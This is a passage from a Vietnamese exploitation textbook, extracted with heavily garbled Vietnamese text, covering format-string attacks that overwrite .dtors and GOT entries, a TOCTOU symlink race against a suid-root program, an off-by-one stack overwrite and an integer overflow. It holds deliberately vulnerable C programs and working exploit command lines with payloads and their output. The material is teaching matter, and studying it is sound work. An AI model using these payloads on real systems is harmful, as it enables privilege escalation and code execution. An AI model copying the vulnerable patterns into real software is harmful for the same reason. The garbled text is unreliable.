5 Phân đo n .88 CHƯƠNG 4.   D ng đ c và suy nghĩ Sau khi so sánh.. có l đ c gi đã có th t th c hi n đư c vi c ghi giá tr b t kỳ vào bi n cookie./fmt .9 Mang giá tr 0x69696969 Tr i qua các ví d trư c.4.dtors Qua các ví d thi t l p giá tr bi n cookie đã trình bày./fmt &cookie: 0xbffff854 cookie = 00000000 BLUE MOON T#######V####### 0aaa cookie = 04030201 regular@exploitation:~/src$ 4. Hình 4. chúng ta nh n ra r ng ngoài vi c quét ngăn x p. M c này có th đư c xem như m t bài t p nh dành cho b n đ c. CHU I Đ NH D NG . Câu h i đư c đ t ra s là kh năng này giúp đư c gì cho vi c t n d ng l i. 2 python -c ’print "\x54\xF8\xFF\xBF\x56\xF8\xFF\xBF" + "%" + str(0x6969-8) + "x%10$n%11$n"’ | . tham số 12 tham số 10 "BLUE" 4E 20 42 XX 4D 4C XX 4F 55 XX 4F 45 .6: V i chu i BLUE MOON trư c regular@exploitation:~/src$ python -c ’print "BLUE MOON \x54\xF8\xFF\xBF\x55\x F8\xFF\xBF\x56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-12-16) + "x%13$n" + "a%14$n" + "a%15$n" + "a%16$n"’ | .. Hãy th c hi n vi c ghi giá tr 69696969 vào bi n cookie và so sánh l nh t n d ng l i c a b n v i l nh đư c g i ý chân trang2 .. chúng ta còn có th vi t m t giá tr b t kỳ vào m t vùng nh b t kỳ thông qua l i chu i đ nh d ng.. đ c gi có hi u cách ho t đ ng c a l nh đư c g i ý không?   4.

22 } Ngu n 4. char ∗∗ argv ) 16 { 17 char buf [ 5 1 2 ] . Hàm h y luôn luôn đư c b n p c a h th ng g i khi chương trình k t thúc. Cho dù chương trình có hay không có hàm h y. k t thúc qua hàm exit.c Tương t như đã kh o sát trong Chương 3. Khi chương trình k t thúc. M i ph n t c a danh sách là đ a ch c a m t hàm h y.dtors c a chương trình đó. 13 } 14 15 int main ( int argc . h> 2 3 s t a t i c void d e s t r u c t o r ( void ) __attribute__ ( ( d e s t r u c t o r ) ) . 18 f g e t s ( buf . không có giá tr tr v . 20 p r i n t f ( "Good bye ! \ n" ) . danh sách này v n luôn t n t i trong chương trình. 4 5 void d e s t r u c t o r ( void ) 6 { 7 return . b n p s đ c danh sách này và l n lư t g i các hàm h y trong danh sách cho đ n khi k t thúc. 8 } 9 10 s t a t i c void e a s t e r _ e g g ( void ) 11 { 12 p u t s ( "You win ! " ) . Ngoài nh ng con đư ng t n d ng đó ra. Danh sách này b t đ u b ng ký hi u nh n d ng FFFFFFFF và k t thúc v i giá tr 00000000. Hãy cùng xem xét ví d t i Ngu n 4. s i z e o f ( buf ) .2: dtors. chúng ta s d ng công c objdump như trong hình ch p. 21 return 0 .DTORS 89 1 #include <s t d i o . Hàm h y là m t hàm không nh n đ i s . 19 p r i n t f ( buf ) . Danh sách các hàm h y c a m t chương trình đư c lưu trong phân đo n .4. . và đư c khai báo trong GCC v i __attribute__((destructor)).5. hay vì x y ra l i. chúng ta còn có nh ng đi m t n d ng khác là danh sách các hàm h y (destructor) và b ng đ a ch hàm đư c liên k t. s t d i n ) . PHÂN ĐO N . cho dù đó là k t thúc thông thư ng. chúng ta có th s d ng l i chu i đ nh d ng đ thay đ i giá tr m t bi n quan tr ng trong chương trình. Đ xem danh sách các hàm h y c a m t chương trình. ho c thay đ i đ a ch tr v c a m t hàm.2.

90 CHƯƠNG 4.3. Hàm này n m t i 080484D0..dtors: 08049694 <__DTOR_LIST__>: 8049694: ff ff ff ff d0 84 04 08 0804969c <__DTOR_END__>: 804969c: 00 00 00 00 regular@exploitation:~/src$ ... CHU I Đ NH D NG regular@exploitation:~/src$ objdump -S -j . ví d c a chúng ta đã có s n nh ng dòng l nh theo đúng m c đích hàm easter_egg... regular@exploitation:~/src$ . Đ tìm đ a ch hàm easter_egg. n u như ta thay đ i đ a ch c a hàm h y trong danh sách này b ng đ a ch c a mã l nh c a chúng ta thì khi chương trình k t thúc./dtors AAAA %x %x %x %x %x %x AAAA 200 b7fdb300 51 0 0 41414141 Good bye! regular@exploitation:~/src$ Như v y chúng ta có th b t đ u truy n tham s cho các yêu c u đ nh d ng t v trí s 6. regular@exploitation:~/src$ objdump -d dtors | grep easter_egg 080484e0 <easter_egg>: regular@exploitation:~/src$ Hàm easter_egg n m t i đ a ch 080484E0.. M t trong ba v n đ quan tr ng trong vi c t n d ng l i chu i đ nh d ng đã đư c gi i quy t. chúng ta s xem xem khi nào thì printf g p l i chu i nh p tương t như trong M c 4... B n byte k ti p là đ a ch c a m t hàm h y. . chúng ta s dùng objdump ho c GDB. Chúng ta có th s d ng đ a ch c a hàm này.dtors dtors dtors: file format elf32-i386 Disassembly of section . Đ i v i ví d này. Nhưng đ tránh đ c p đ n vi c t t o mã l nh. Đ làm vi c này. chính mã l nh c a chúng ta s đư c th c thi. Ch còn l i m t n s là giá tr mà chúng ta mu n ghi vào đ a ch 08049698.. Như v y. và s d ng đ a ch c a bi n môi trư ng này. chúng ta có hai đ a ch đ ghi đè là 08049698 và 0804969C. Chúng ta có th đ t mã l nh trong m t bi n môi trư ng. T i đ a ch 08049694 là ký hi u b t đ u c a danh sách hàm h y. K đ n chúng ta ph i tr l i đư c câu h i làm sao truy n tham s vào chu i đ nh d ng. B n byte sau cùng t i đ a ch 0804969C là d u hi u k t thúc danh sách hàm h y. Tương t v i GDB như trong hình ch p bên dư i.. Trong trư ng h p chương trình không có hàm h y thì chúng ta cũng có th thay đ i d u hi u k t thúc danh sách b ng đ a ch mã l nh c a chúng ta. .

Inc.. no debug info>} 0x80484e0 <easter_egg> gdb$ Như v y. làm lem 3 byte qua d u hi u k t thúc danh sách hàm h y. B n đ c cũng có th th thay th giá tr t i đ a ch d u hi u k t thúc danh sách hàm h y. regular@exploitation:~/src$ python -c ’print "\x98\x96\x04\x08\x99\x96\x04\x08\x 9A\x96\x04\x08\x9B\x96\x04\x08" + "%" + str(0xE0 . đ a ch hàm h y b t đ c dĩ này không ph i là m t đ a ch đã đư c ánh x nên chương trình vư ng ph i l i phân đo n.1". Chúng ta có th gi i quy t l i phân đo n này b ng cách s d ng cách c t 2-2 v i hn. Type "show warranty" for details.0x184) + "x%8$n" + "aaaa%9$n"’ | . chúng ta s dùng dòng l nh sau đ thay đ i đ a ch hàm h y trong danh sách hàm h y v i đ a ch c a hàm easter_egg.16) + "x%6$n" + "%" + str(0x1 84 . covered by the GNU General Public License. b n p s ti p t c duy t danh sách cho t i khi g p d u hi u k t thúc. PHÂN ĐO N .  .90-debian Copyright (C) 2006 Free Software Foundation. Sau khi th c hi n xong hàm easter_egg. GDB is free software. ho c các cách c t không lem khác.Using host libthread_db library "/ lib/tls/i686/cmov/libthread_db. This GDB was configured as "i486-linux-gnu"./dtor s #### 200 b7fdb300 51aaaa Good bye! You win! Segmentation fault regular@exploitation:~/src$   D ng đ c và suy nghĩ T i sao ta vư ng l i phân đo n?  V i câu l nh t n d ng trên..DTORS 91 regular@exploitation:~/src$ gdb . gdb$ print easter_egg $1 = {<text variable. and you are welcome to change it and/or distribute copies of it under certain conditions.0xE0) + "x%7$n" + "%" + str(0x204 . Type "show copying" to see the conditions.4.so.4.5. chúng ta đã s d ng cách c t 1-1-1-1. Đây s là m t th thách nh dành cho đ c gi . Đáng ti c. Vì d u hi u k t thúc đã b chúng ta vô tình thay đ i nên b n p s xem giá tr đó như m t hàm h y và ti p t c g i hàm h y này./dtors GNU gdb 6. There is absolutely no warranty for GDB.

Quá trình này đư c th c hi n khi hàm đư c g i l n đ u và đ a ch hàm s đư c lưu l i đ s d ng trong các l n g i sau. chúng ta s ghi đ a ch c a hàm easter_egg. Vì chúng ta mu n s a đ a ch c a printf nên chúng ta s s a ô nh 08049788. B n p nh n đư c thông tin này s th c hi n vi c n p thư vi n và tìm đ a ch c a hàm c n dùng đ truy n l i cho chương trình.92 CHƯƠNG 4. Y u t th nh t là chương trình ti p t c g i m t hàm sau khi th c hi n hàm b l i (printf(buffer)). V i ba y u t căn b n đã đư c gi i quy t. hay GOT). Như lúc trư c. Y u t th hai là hàm đư c g i này đã đư c b n p tìm ra và lưu trong GOT (chính là hàm printf). chương trình th c hi n ti p l nh printf(“Good bye”). Đây là m t m c tiêu t n d ng c a chúng ta vì chúng ta có th s a đ a ch trong GOT đ khi chương trình g i t i hàm đã b s a thì mã l nh c a chúng ta s đư c th c thi. V n đ còn l i là tìm đư c ô ch a đ a ch c a hàm printf trong GOT. Đ đ c GOT. CHU I Đ NH D NG 4. C hai y u t căn b n đ t n công GOT đ u có đ . và đư c tìm th y thư vi n nào.6 B ng GOT Khi m t chương trình s d ng các hàm c a m t thư vi n (ví d như hàm printf c a thư vi n chu n). chương trình đó s ph i thông báo cho b n p bi t hàm nó c n là hàm gì. chúng ta có th ti n hành t n d ng l i chu i đ nh d ng đ thay đ a ch hàm printf v i đ a ch hàm easter_egg như hình ch p sau. Trong Ngu n 4. . regular@exploitation:~/src$ objdump -R dtorsdtors: DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049764 R_386_GLOB_DAT __gmon_start__ 080497a0 R_386_COPY stdin 08049774 R_386_JUMP_SLOT __register_frame_info 08049778 R_386_JUMP_SLOT puts 0804977c R_386_JUMP_SLOT __deregister_frame_info 08049780 R_386_JUMP_SLOT fgets 08049784 R_386_JUMP_SLOT __libc_start_main 08049788 R_386_JUMP_SLOT printf 0804978c R_386_JUMP_SLOT __gmon_start__ file format elf32-i386 regular@exploitation:~/src$ C t th nh t là đ a ch ô nh ch a đ a ch c a hàm tương ng c t th ba mà đã đư c b n p tìm ra. chúng ta có th dùng công c objdump như hình ch p bên dư i.2. B ng lưu các đ a ch hàm đã đư c b n p tìm ra đư c g i là b ng đ a ch toàn c c (global offset table. Chúng ta v n c n tr l i hai câu h i quan tr ng c a vi c t n d ng l i chu i đ nh d ng là ghi giá tr gì vào đ a ch nào. sau khi th c hi n l nh printf(buffer).

7. • M i yêu c u đ nh d ng b t đ u b ng ký t ph n trăm (%) và k t thúc b i ký t đ nh d ng. vi c này không nh hư ng đ n k t qu chung. • Tùy ch n đ dài c a yêu c u đ nh d b t đ u b ng ch s khác 0. Tùy ch c u đ nh d ng là m t chu i ch s th ký t đ ng ($). • L i chu i đ nh d ng cho phép chúng ta quét ngăn x p và xác đ nh các giá tr đang có trên ngăn x p. Đi m khác bi t ch hai đ nh d ng này là n ghi tr n 4 byte.4. Nó ch a các yêu c u đ nh d ng đ xác đ nh cách th c d li u s đư c hi n th b i hàm printf. ng là m t chu i ch s th p phân n xác đ nh v trí tham s cho yêu p phân nguyên dương theo sau b i trí tham s ph i đi ngay sau ký t • Khi x d ng tùy ch n xác đ nh đ dài. Gi a ký t ph n trăm và ký t đ nh d ng có th có thêm các tùy ch n khác. đ c gi s th y có ch không n v i phương hư ng này. Tùy ch n xác đ nh v ph n trăm. trong khi hàm easter_egg không nh n tham s . • Yêu c u đ nh d ng n và hn ghi vào vùng nh ch t i b i tham s c a nó s lư ng ký t đã đư c in. Hàm printf đư c g i l n th hai v i m t tham s . Đi u này cho phép chúng ta đi u khi n tham s truy n vào yêu c u đ nh d ng. chúng ta nên dùng đ dài l n hơn ho c b ng v i đ dài t i đa đ hi n th ki u d li u. Có nhi u ký t đ nh d ng như x. n. N u d li u nh p c a ta cũng n m trên ngăn x p thì s có trư ng h p chúng ta g p l i chính d li u nh p. TÓM T T VÀ GHI NH 93 regular@exploitation:~/src$ python -c ’print "\x88\x97\x04\x08\x89\x97\x04\x08\x 8A\x97\x04\x08\x8B\x97\x04\x08" + "%" + str(0xE0 . trong khi hn ghi 2 byte th p.16) + "x%6$n" + "%" + str(0x1 84 . . Tuy nhiên. Đi u này gây ra s không th ng nh t gi a tác v g i hàm (v i thao tác chu n b vùng nh ngăn x p) và tác v d n d p vùng nh ngăn x p sau khi hàm tr v ./dtor s #### 200 b7fdb300 51aaaa You win! regular@exploitation:~/src$ N u chú ý. 4. v i các quy ư c g i hàm khác ch ng h n như stdcall thì r t có th chúng ta s g p l i phân đo n. Đ i v i quy ư c g i hàm (calling convention) cdecl (quy ư c m c đ nh c a h u h t các trình biên d ch và đư c dùng đ biên d ch b thư vi n chu n). và hn. Tùy ch n đ dài giúp chúng ta nh p vào ít nhưng nh n đư c nhi u ký t xu t ra.0x184) + "x%8$n" + "aaaa%9$n"’ | .7 Tóm t t và ghi nh • Chu i đ nh d ng là tham s th nh t đư c truy n vào hàm printf.0xE0) + "x%7$n" + "%" + str(0x204 .

chúng ta có th s d ng cách c t 1-1-1-1. Dù chương trình s d ng hay không s d ng hàm h y. • Chúng ta có th xem xét danh sách hàm h y và GOT thông qua công c objdump. . • Hàm h y là m t hàm không nh n tham s . chương trình s lưu l i đ a ch này trong GOT đ s d ng trong nh ng l n g i hàm sau. Vùng nh đó có th là m t ph n t trong danh sách hàm h y ho c GOT.94 CHƯƠNG 4. Sau khi b n p đã tìm đư c đ a ch hàm. Các giá tr gi a là đ a ch c a các hàm h y. CHU I Đ NH D NG • Tùy vào giá tr c n ghi. • Danh sách hàm h y b t đ u b ng ký hi u b t đ u danh sách FFFFFFFF và k t thúc v i ký hi u k t thúc danh sách 00000000. • Các chương trình liên k t đ ng t i nh ng thư vi n khác s nh b n p tìm đ a ch hàm c n thi t. không có giá tr tr v . và luôn luôn đư c b n p th c thi khi chương trình k t thúc. danh sách hàm h y luôn luôn có m t trong chương trình. ho c 2-2 đ ghi t ng ph n nh c a giá tr đó qua nhi u đ nh d ng n ho c hn thay vì ghi m t l n tr c ti p. • Vi c t n d ng l i chu i đ nh d ng cho phép ta ghi m t giá tr b t kỳ vào m t vùng nh b t kỳ.

N u m t chương trình vư ng ph i l i này. Hãy xem xét ví d trong Ngu n 5. M t chương trình có th không nh n d li u cho đ n khi m t s yêu c u đư c th a mãn.1. ho c nh ng trư ng h p l i đ c bi t c a các l i đã bàn như l i dư m t. và k t qu c a vi c th c thi ph thu c vào th t c a vi c truy c p. 5. chúng ta đôi khi còn g p ph i nh ng l i khó phát hi n như trư ng h p đua. TOC/TOU) N u trong Chương 3 chúng ta đã th y qua hai câu h i chính c a vi c t n d ng l i là c n nh p gì và cách nh p d li u y vào chương trình. Đôi khi. m c dù khó b t n d ng và ít khi g p ph i. ngư i t n d ng l i có th ch y nhi u ti n trình song song đ “đua” v i chương trình có l i.1 Trư ng h p đua (race condition) Trư ng h p đua x y ra khi nhi u ti n trình truy c p và s a đ i cùng m t d li u vào cùng m t lúc. v i m c đích là thay đ i ho t đ ng c a chương trình y. Chính vì tác h i to l n đó mà chúng ta s c n xem xét k nguyên nhân gây l i. và chu i đ nh d ng ph bi n và x ng đáng đư c xem xét m t cách chi ti t trong hai chương trư c. thì đây chúng ta g p câu h i quan tr ng th ba là khi nào thì nh p d li u vào chương trình. Các l i này. và ch nh n d li u trong m t kho ng th i gian ng n. cách th c t n d ng. nhưng tác h i c a chúng cũng nghiêm tr ng vô cùng. Trong nh ng năm cu i th k 20. Chúng ta c n t o m t môi trư ng ho t đ ng cho chương trình này đ nó có thêm tính thuy t ph c. hàng lo t l i tương t đã b phát hi n trong các h th ng UNIX và h u qu là các h th ng quan tr ng trên m ng toàn c u đã b xâm nh p. trư ng h p đua còn đư c bi t đ n v i tên g i th i đi m ki m tra/th i đi m s d ng (Time Of Check/Time Of Use. Trư c h t chúng ta c n gán quy n suid root cho chương trình. Xác đ nh đư c th i đi m nh p li u chính xác do đó tr thành m t v n đ căn b n. và bi n pháp phòng tránh chúng.Chương 5 M t s lo i l i khác Ngoài các lo i l i tràn b đ m. 95 . hay các l i liên quan đ n c u trúc máy tính như l i tràn s nguyên.

c sudo chown root:root race sudo chmod u+s race ls -l race 2009-02-28 14:30 race Sau đó ta s t o m t t p tin thu c v root đ đ m b o ch có root m i đ c đư c t p tin này. 20 return 0 .txt regular@exploitation:~/src$ sudo chmod 600 race. 16 } 17 f g e t s ( buffer . 21 } 22 c l e a n u p : 23 p e r r o r ( " Cannot open f i l e " ) . char ∗∗ argv ) 6 { 7 FILE ∗ f i l e . 18 fclose ( file ). regular@exploitation:~/src$ echo ’You win!’ > race. h> 4 5 int main ( int argc .c regular@exploitation:~/src$ regular@exploitation:~/src$ regular@exploitation:~/src$ regular@exploitation:~/src$ -rwsr-xr-x 1 root root 8153 regular@exploitation:~/src$ gcc -o race race. " r " ) .txt regular@exploitation:~/src$ cat race.96 CHƯƠNG 5. h> 3 #include <u n i s t d . 8 char b u f f e r [ 2 5 6 ] .1 root root 9 2009-02-28 14:37 race. 24 return 0 .txt: Permission denied regular@exploitation:~/src$ Chương trình ví d đ c n i dung c a m t t p tin có tên là tham s dòng l nh đ u tiên và in n i dung t p tin đó ra màn hình. f i l e ) .txt regular@exploitation:~/src$ cat race. 25 } Ngu n 5.txt You win! regular@exploitation:~/src$ sudo chown root:root race.1: race. h> 2 #include <s t d i o . Do chương trình này đư c . 19 puts ( b u f f e r ) .txt -rw------. 12 f i l e = f o p e n ( argv [ 1 ] . sizeof ( buffer ) . 9 i f ( a c c e s s ( argv [ 1 ] . M T S LO I L I KHÁC 1 #include < s t d l i b .txt cat: race.txt regular@exploitation:~/src$ ls -l race. 13 i f ( f i l e == NULL) 14 { 15 goto c l e a n u p . N i dung t p tin là dòng ch “You win!”. R_OK) == 0 ) 10 { 11 usleep (1).

c. 2. Th c thi chương trình b l i v i tham s raceexp đ chương trình này ki m tra kh năng đ c t p tin raceexp. ./race race.1.c. regular@exploitation:~/src$ . Do đó ý tư ng t n d ng c a chúng ta g m các bư c sau: 1. Tên t p tin abc không nh t thi t ph i luôn là t p tin abc vì chúng ta có th t o m t liên k t m m có tên abc nhưng ch đ n t p tin khác.txt).1: Đi u ki n đua đ t suid root nên hàm fopen s có th đ c đư c n i dung c a b t kỳ t p tin nào. Vì không th đ m t ngư i dùng thông thư ng đ c n i dung c a các t p tin nh y c m (ví d như t p tin race. mà th t ch t là t p tin race.txt Cannot open file: Permission denied regular@exploitation:~/src$ sudo . T o m t liên k t tên raceexp ch đ n m t t p tin chúng ta có th đ c ví d như race. N u như sau khi hàm access đã b vư t qua và ti n trình song song kia có th thay đ i t p tin s đư c m b i hàm fopen thì ngư i dùng thông thư ng có th đ c đư c n i dung c a b t kỳ t p tin nào trên máy tính.5. Đi u này có th đ t đư c vì c hai hàm access và fopen đ u nh n tham s là tên t p tin. có m t kho ng th i gian ng n gi a hàm access và hàm fopen mà h đi u hành có th chuy n qua th c thi m t ti n trình khác./race race.1.txt You win! regular@exploitation:~/src$ V n đ v i chương trình này là hàm access và hàm fopen không th c hi n hai tác v ki m tra quy n và m t p tin m t cách không th tách r i (atomic). r i quay l i như trong Hình 5. TRƯ NG H P ĐUA (RACE CONDITION) 97 access chuyển tiến trình khác chuyển fopen Hình 5. Nói m t cách khác. chương trình ví d đã s d ng thêm hàm access đ ki m tra xem ngư i dùng th c t có th đ c t p tin này không.

chúng ta s đ c đư c n i dung c a t p tin race. 4. chúng ta s th c hi n l nh g i chương trình b l i.sh & [1] 3951 regular@exploitation:~/src$ . t x t r a c e e x p 8 done Ngu n 5.txt. Dòng l nh g i hàm usleep đây ch đơn gi n làm ví d d b t n d ng hơn m t chút. h đi u hành chuy n quy n th c thi l i cho ti n trình đư c t o bư c 1 ngay sau khi ti n trình bư c 2 hoàn thành vi c ki m tra. đi u này không làm thay đ i vi c t n d ng l i. Cách thông thư ng nh t đ tránh l i là tu n . Sau m t ít l n g i. L i trư ng h p đua thư ng g p nhi u trong các ng d ng x lý t p tin./race raceexp Cannot open file: Permission denied regular@exploitation:~/src$ .98 CHƯƠNG 5. ho c ti u trình (thread) c a cùng m t ti n trình nên r t d x y ra các cu c “đua” giành quy n s d ng. Tuy nhiên.txt.sh 3. Trên nguyên t c. ho c truy c p cơ s d li u.1 đ bu c h đi u hành chuy n ti n trình. chúng ta s v n đ c đư c n i dung c a t p tin race. Khi hoàn thành vi c t n d ng l i.txt sau m t s l n ch y. M T S LO I L I KHÁC 1 #! / b i n / sh 2 while [ [ true ] ] 3 do 4 rm − r f r a c e e x p 5 l n −s r a c e . và hàm fopen m t p tin raceexp mà bây gi th t ra là t p tin race. ch đ c nh (foreground). chúng ta c n k t thúc k ch b n đã đư c ch y n n. chúng ta s đ t các tác v chuy n đ i liên k t m m trong m t k ch b n như Ngu n 5. thì chúng ta s chuy n liên k t raceexp ch đ n t p tin race. c r a c e e x p 6 rm − r f r a c e e x p 7 l n −s r a c e . H đi u hành chuy n l i ti n trình b l i./race raceexp You win! regular@exploitation:~/src$ kill 3951 regular@exploitation:~/src$ Đ c gi tinh m t s c m th y ví d này không th t t vì chúng ta đã chèn dòng l nh usleep(1) trong Ngu n 5. n u không có dòng l nh g i hàm usleep thì h đi u hành v n chuy n ti n trình. m c dù chúng ta không th đoán đư c vào th i đi m nào./race raceexp #include <stdlib./race raceexp Cannot open file: No such file or directory regular@exploitation:~/src$ .h> regular@exploitation:~/src$ .txt.2: raceexp. N u may m n. Chúng ta s th c thi đo n k ch b n này ch đ n n (background).2. regular@exploitation:~/src$ sh raceexp. Các tài nguyên này đư c dùng chung b i nhi u ti n trình. Đ t i ưu vi c t n d ng.

EBP là l nh POP EBP nên m t ô ngăn x p s b b qua. ho c c hi u (semaphore). Hãy xem xét Ngu n 5. vì l nh MOV ESP. Trong hàm main.3: off_by_one. T i l nh RET thì giá tr c a ô ngăn x p hi n t i đư c gán vào con tr l nh và lu ng th c thi b thay đ i. 5. Ký t NUL này đè lên con tr vùng nh c a main như miêu t trong Hình 5. vì l nh POP EBP nên giá tr XXXXXX00 s đư c gán vào thanh ghi EBP.2 Dư m t (off by one) Dư m t là l i x y ra khi chúng ta x lý dư m t ph n t . . Tuy nhiên. Đ n khi main vào ph n k t thúc. 21 } Ngu n 5. N u chu i tham s có 8 ký t (ví d như AAAAAAAA) thì strcpy s chép 8 ký t này vào buf. 20 return 0 . char ∗∗ argv ) 10 { 11 i f ( argc < 2) 12 { 13 return 0 . Ví d đi n hình c a lo i l i này là tràn b đ m v i ch 1 byte d li u b tràn.2. v i 1 byte này. a r g ) . chu i tham s dòng l nh th nh t đư c đ m b o ch dài t i đa 8 ký t trư c khi truy n vào vuln_func. và hàm vuln_func quay tr v hàm main. con tr ngăn x p s có giá tr XXXXXX04. Khi hàm vuln_func vào ph n k t thúc. DƯ M T (OFF BY ONE) 1 #define MAX 8 2 3 int vuln_func ( char ∗ a r g ) 4 { 5 char buf [MAX] . 18 } 19 vuln_func ( argv [ 1 ] ) . Hàm vuln_func chép d li u t tham s arg vào bi n n i b buf. v i các khóa (lock). và vi t thêm 1 ký t NUL vào cu i. Tuy nhiên chúng ta đã quên r ng hàm strcpy s t đ ng thêm vào m t ký t NUL cu i chu i. chúng ta có th đi u khi n đư c lu ng th c thi c a chương trình. EBP nên giá tr XXXXXX00 l i đư c chuy n sang cho thanh ghi ESP. 14 } 15 i f ( s t r l e n ( argv [ 1 ] ) > MAX) 16 { 17 argv [ 1 ] [MAX] = ’ \ x00 ’ . Sau MOV ESP.c 99 t hóa (serialize) truy c p vào nh ng tài nguyên này. Có v như m i th đ u chu n xác vì bi n buf cũng ch a đư c t i đa 8 ký t . 6 s t r c p y ( buf .2.5.3. 7 } 8 9 int main ( int argc .

t c EBP s ch t i m t đ a đi m bên dư i. N u như bi n buf n m t i đ a ch có byte cu i là 00 thì khi ký t NUL lem t i giá tr EBP c a main lưu trên vùng nh ngăn x p hàm vuln_func s làm cho giá tr này ch t i chính bi n buf. . M T S LO I L I KHÁC .3 minh h a hoàn c nh này. arg địa chỉ trở về của vuln_func 00 41 &buf=XXXXXX00 XX 41 . đ a ch tr v c a main s b quy đ nh b i b n byte b t đ u t v trí c a buf[4]... Do đó.. Chúng ta s th v i m t vài giá tr tham s dòng l nh đ tìm ra trư ng h p bi n buf có đ a ch t n dùng là 00.. Đi m đáng chú ý th hai là khi b ký t NUL đè lên..3: EBP lưu c a main ch t i buf Chúng ta nh n th y r ng l i x y ra trong vuln_func nhưng lu ng th c thi ch b thay đ i khi main k t thúc. Hình 5.100 CHƯƠNG 5.. XX 41 XX 41 địa chỉ trở về của main Hình 5. arg địa chỉ trở về 00 41 41 XX 41 41 XX 41 41 XX 41 41 . Hình 5.2: NUL đè lên EBP cũ . giá tr EBP m i s nh hơn giá tr EBP cũ... Vì tham s dòng l nh đư c đ t trên ngăn x p nên s thay đ i tham s dòng l nh s d n đ n s thay đ i v trí c a bi n n i b .

6. và là m t ví d c a tràn s nguyên. chúng ta ch c n đ t đ a ch c a hàm easter_egg sau 4 byte đ u. trong khi ki u unsigned char quay vòng t FF thành 00. ki u unsigned int s quay vòng t FFFFFFFF thành 00000000. đ c gi có th s tìm th y m t chu i khác.5. Tham s th hai c a hàm fgets là ki u int.4 b l i tràn s nguyên vì hàm atoi tr v k t qu ki u int trong khi bi n len ch có th nh n giá tr theo ki u short. Chúng ta cũng có th thay đ i bi n môi trư ng./off_by_one ‘python -c ’print "aaaa\x10\x85\x04\x08 aaaaaaaaaaaaaaa"’‘ &buf: 0xbffffa00 You win! regular@exploitation:~/src$ 5. Như v y./off_by_one aaaaaaaaaaaaaaaaaaaaaaa &buf: 0xbffffa00 Segmentation fault regular@exploitation:~/src$ Chúng ta phát hi n ra r ng v i chu i tham s aaaaaaaaaaaaaaaaaaaaaaa thì bi n buf n m t i v trí th a yêu c u. Dòng 15 trong Ngu n 5. chương trình ti p t c th c hi n vi c đ c t b nh p chu n vào chu i buf qua l nh fgets. Ví d như khi đư c c ng 1. Hàm này n m t i đ a ch 08048510. d n đ n vi c fgets đ c vào nhi u ký t hơn là m ng buf có th nh n.3 Tràn s nguyên (integer overflow) Trong Ti u m c 4. hay 80000000 th p l c phân).5. Ngoài ra. giá tr cũng b quay vòng t s dương thành s âm. ho c các giá tr khác đư c lưu trên ngăn x p đ làm thay đ i v trí bi n buf. L i tràn s nguyên x y ra khi m t tác v s h c t o ra m t giá tr s n m ngoài kho ng có th đư c bi u di n b i ki u d li u./off_by_one aaaaaaaa &buf: 0xbffffa10 Segmentation fault regular@exploitation:~/src$ . ho c tên chương trình. Đ a ch hàm easter_egg có th đư c tìm thông qua công c objdump ho c GDB như đã đư c trình bày trong M c 4. k t thúc vi c t n d ng l i dư m t. Chu i tham s chúng ta tìm đư c đây không nh t thi t là giá tr duy nh t. Đi u này cũng gây tràn s nguyên khi th c hi n phép l y giá tr âm −(−2147483648) = −2147483648. regular@exploitation:~/src$ .3. B n đ c chú ý r ng giá tr tuy t đ i c a giá tr âm nh nh t không ph i là giá tr dương l n nh t. giá tr âm c a len l i đư c s d ng như m t giá tr dương. gây ra l i . chúng ta đã l i d ng vi c quay vòng c a m t byte c a s nguyên. khi tham s dòng l nh là m t s l n hơn 32767 th p phân (7FFF th p l c phân) thì len s có giá tr âm. Do đó. K t qu c a tác v len & 0xFFFF đ i v i ki u int s là m t s nguyên không âm có giá tr t 0 đ n 65535. Vì mang giá tr âm nên đi u ki n dòng 16 s không đúng. Ví d ki u int s quay vòng t 2147483647 (th p phân./off_by_one aaaaaaaaaaaaaaaaa &buf: 0xbffffa10 Segmentation fault regular@exploitation:~/src$ . v i các ki u có d u. TRÀN S NGUYÊN (INTEGER OVERFLOW) 101 regular@exploitation:~/src$ . dòng này. hay 7FFFFFFF th p l c phân) thành -2147483648 (th p phân. và gi s lư ng ký t c a chu i tham s như cũ là main s quay l i easter_egg.4.

4: int_overflow. i f ( l e n > SIZE ) { return 0 . f g e t s ( buf . L i tràn b đ m đã đư c bàn đ n trong Chương 3 nên chúng ta s b qua ph n t n d ng l i này mà ch t p trung vào cách ép hàm fgets nh n nhi u d li u hơn. return 0 . truy c p vào cùng m t tài nguyên mà k t qu c a vi c truy c p này ph thu c vào th t truy c p c a các ti n trình. hay ti u trình. h> #include < s t d l i b . • L i trư ng h p đua thư ng g p trong các chương trình x lý t p tin ho c k t n i t i cơ s d li u vì các tài nguyên này đư c dùng chung b i nhi u ti n trình hay ti u trình. ( l e n & 0xFFFF ) . regular@exploitation:~/src$ python -c ’print "a" * 65535’ | . .c tràn b đ m. M T S LO I L I KHÁC int main ( int argc . } l e n = a t o i ( argv [ 1 ] ) . s t d i n ) . char ∗∗ argv ) { char buf [ SIZE ] . } p u t s ( " Input a s t r i n g " ) .102 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <s t d i o . h> #define SIZE 256 CHƯƠNG 5. short l e n . • Ngoài n i dung và cách nh p d li u./int_overflow 65535 Input a string Segmentation fault regular@exploitation:~/src$ 5. i f ( argc < 2) { return 0 . th i đi m nh p d li u vào chương trình cũng là m t trong ba v n đ quan tr ng trong vi c t n d ng l i. } Ngu n 5.4 Tóm t t và ghi nh • L i trư ng h p đua x y ra khi hai ho c nhi u ti n trình. h> #include <u n i s t d . ho c ti u trình c a cùng m t ti n trình.

